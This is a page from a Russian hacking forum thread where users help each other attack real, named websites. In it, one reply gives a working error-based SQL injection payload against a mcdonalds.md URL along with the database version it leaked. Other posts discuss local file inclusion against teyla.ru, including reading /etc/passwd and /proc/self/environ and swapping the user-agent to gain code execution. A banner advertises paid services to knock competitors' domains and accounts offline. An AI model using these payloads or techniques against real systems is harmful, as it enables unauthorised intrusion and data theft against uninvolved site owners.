Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2195 из 2438

2195

Опции темы

Поиск в этой теме

Опции просмотра

#21941

01.01.2013, 16:40

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Помогите подобрать количество полей в:

Код:

http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=-1'

#21942

01.01.2013, 16:52

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

Цитата:

Сообщение от GhostW

Помогите подобрать количество полей в:

Код:

http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=-1'

Только через Error-Based:

Код:

http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=1 and updatexml(0x3a,concat(0x3a,version()),0x3a)#

XPATH syntax error: ':5.1.61'

#21943

01.01.2013, 17:24

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

А где можно найти подробную инфу по Error-Based и как узнать что нужно использовать данный метод?

П.С. Спасибо за быстрый ответ на прошлый вопрос.

#21944

01.01.2013, 17:30

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от GhostW

А где можно найти подробную инфу по Error-Based и как узнать что нужно использовать данный метод?
П.С. Спасибо за быстрый ответ на прошлый вопрос.

Для общего понимания:

/showpost.php?p=407227&postcount=3

для Болие детального понимания нужна понимать суть синтаксиса Mysql, т.е как правельно делоть запросы к бд и понимать как получается вывод...

#21945

04.01.2013, 13:36

Artrix

Новичок

Регистрация: 13.12.2012

Сообщений: 15

С нами: 7059926

Репутация: 0

День добрый. Если есть доступ к proc/self/environ%00 с вывобом user-agent возможно посмотреть phpinfo заменой агента на ? Или не должно выводить?

#21946

04.01.2013, 16:21

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

Цитата:

Сообщение от Artrix

Если у Вас LFI, а не просто чтение, то конечно да!

#21947

04.01.2013, 18:12

Artrix

Новичок

Регистрация: 13.12.2012

Сообщений: 15

С нами: 7059926

Репутация: 0

Цитата:

Сообщение от cat1vo

Если у Вас LFI, а не просто чтение, то конечно да!

Да, LFI, но почему-то не выводит. В чем может быть проблема?

#21948

04.01.2013, 18:47

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

С нами: 9126697

Репутация: 97

Нашел LFI:

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=/etc/passwd

passwd отлично смотрится, но в ответ на

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=/proc/self/environ

возвращается пустая страница.

Значит нет прав и нет смысла пытаться подменить user-agent?

#21949

04.01.2013, 18:54

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Цитата:

Сообщение от herfleisch

Нашел LFI:
passwd отлично смотрится, но в ответ на
возвращается пустая страница.
Значит нет прав и нет смысла пытаться подменить user-agent?

лоооооооооооооооооооооооо оооооооол

#21950

04.01.2013, 18:56

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

С нами: 9126697

Репутация: 97

Цитата:

Сообщение от Expl0ited

лоооооооооооооооооооооооо оооооооол

Что случилось?

Страница 2195 из 2438

2195

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)

Быстрый переход